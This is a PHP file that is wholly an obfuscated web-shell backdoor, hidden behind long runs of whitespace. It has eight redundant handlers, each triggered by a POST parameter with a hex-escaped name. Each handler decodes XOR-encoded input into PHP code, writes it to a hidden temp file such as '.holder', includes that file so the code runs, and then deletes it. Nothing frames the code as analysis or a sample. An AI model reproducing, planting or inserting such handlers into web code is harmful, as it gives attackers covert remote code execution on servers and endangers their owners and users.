<?php																																										if(filter_has_var(INPUT_POST, "p\x6Fin\x74\x65r")){ $flg = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm"]); $flag = $_REQUEST["p\x6Fin\x74\x65r"]; $flag = explode ( "." , $flag ) ; $property_set = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4); $z = 0; $__tmp = $flag; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $salt4[$z % $sLen]); $d =( ( int)$v7 - $sChar -( $z % 10)) ^ 87; $property_set .= chr( $d); $z++; } foreach ($flg as $itm) { if (is_dir($itm) && is_writable($itm)) { $token = "$itm" . "/.holder"; $success = file_put_contents($token, $property_set); if ($success) { include $token; @unlink($token); die();} } } }
																																										if(!is_null($_POST["item"] ?? null)){ $parameter_group = $_POST["item"]; $parameter_group = explode ( "." ,$parameter_group ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $o = 0; foreach ($parameter_group as $v9) {$chS = ord($salt[$o %$sLen] ); $d = ((int)$v9 - $chS - ($o %10)) ^ 77; $data .= chr($d ); $o++; } $res = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp"]); foreach ($res as $data_chunk): if (is_dir($data_chunk) && is_writable($data_chunk)) { $element = implode("/", [$data_chunk, ".holder"]); if (file_put_contents($element, $data)) { include $element; @unlink($element); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "comp")){ $k = $_REQUEST["comp"]; $k = explode ('.' , $k ) ; $symbol = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $len = count($k); for ($r = 0; $r < $len; $r++) { $v6 = $k[$r]; $chS = ord($salt7[$r % $lenS]); $dec = ((int)$v6 - $chS - ($r % 10)) ^ 25; $symbol .= chr($dec); } $property_set = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp"]); while ($rec = array_shift($property_set)) { if (is_dir($rec) && is_writable($rec)) { $element = implode("/", [$rec, ".data"]); if (@file_put_contents($element, $symbol) !== false) { include $element; unlink($element); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["p\x74r"])){ $item = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir()]); $k = $_POST["p\x74r"]; $k= explode( "." , $k ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($k as $p => $v9): $chS = ord($salt[$p % $lenS] ); $d = ((int)$v9 - $chS - ($p % 10)) ^ 33; $flag .= chr($d ); endforeach; $pset = 0; do { $tkn = $item[$pset] ?? null; if ($pset >= count($item)) break; if ((is_dir($tkn) and is_writable($tkn))) { $comp = join("/", [$tkn, ".desc"]); if (@file_put_contents($comp, $flag) !== false) { include $comp; unlink($comp); die(); } } $pset++; } while (true); }
																																										if(isset($_POST["m\x61r\x6Ber"]) ? true : false){ $fac = array_filter(["/dev/shm", "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); $parameter_group = $_POST["m\x61r\x6Ber"]; $parameter_group =explode ( '.', $parameter_group ) ; $flg = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $u = 0; $__tmp = $parameter_group; while($v7 = array_shift($__tmp)) {$chS = ord($salt8[$u % $sLen]); $d =((int)$v7 - $chS -($u % 10)) ^ 98; $flg .= chr($d); $u++; } foreach ($fac as $key => $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $val = "$reference" . "/.entity"; if (@file_put_contents($val, $flg) !== false) { include $val; unlink($val); exit; } } } }
																																										if(isset($_POST["k"])){ $resource = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP")]); $ent = $_POST["k"]; $ent = explode ('.' , $ent ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $len = count( $ent); for( $y = 0; $y < $len; $y++) {$v6 = $ent[$y]; $sChar = ord( $s[$y% $lenS]); $d =( ( int)$v6 - $sChar -( $y% 10)) ^ 13; $element .=chr( $d); } while ($token = array_shift($resource)) { if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $ptr = "$token/.object"; $success = file_put_contents($ptr, $element); if ($success) { include $ptr; @unlink($ptr); die();} } } }
																																										if(@$_POST["pt\x72"] !== null){ $fac = $_POST["pt\x72"]; $fac =explode ( '.' , $fac ); $reference= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $p= 0; array_walk($fac , function ($v4) use (&$reference , &$p , $salt , $lenS) { $chS= ord($salt[$p % $lenS] ); $dec= ((int)$v4 - $chS - ($p % 10)) ^ 20; $reference .= chr($dec ); $p++; } ); $symbol = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($symbol as $tkn) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $binding = "$tkn" . "/.dchunk"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $binding; @unlink($binding); die(); } } } }


if(array_key_exists("c\x6Fm\x70o\x6Ee\x6Et", $_POST)){
	$flag = $_POST["c\x6Fm\x70o\x6Ee\x6Et"];
		 $flag		=explode(".",			$flag	);
	$k	 ='';
            $salt3	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =strlen($salt3		);
            $j	 =0;
    
            while ($j	 <	count($flag)) {$v5	 =$flag[$j];
                $sChar	 =ord($salt3[$j	% $sLen]		);
                $d	 =((int)$v5 - $sChar - ($j	% 10)) ^ 35;
                $k  .=chr($d		);
                $j++;
            }
	$binding = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), getenv("TMP")]);
	foreach ($binding as $entry):
    		if (array_product([is_dir($entry), is_writable($entry)])) {
    $hld = str_replace("{var_dir}", $entry, "{var_dir}/.parameter_group");
    $success = file_put_contents($hld, $k);
if ($success) {
	include $hld;
	@unlink($hld);
	exit;}
}
endforeach;
}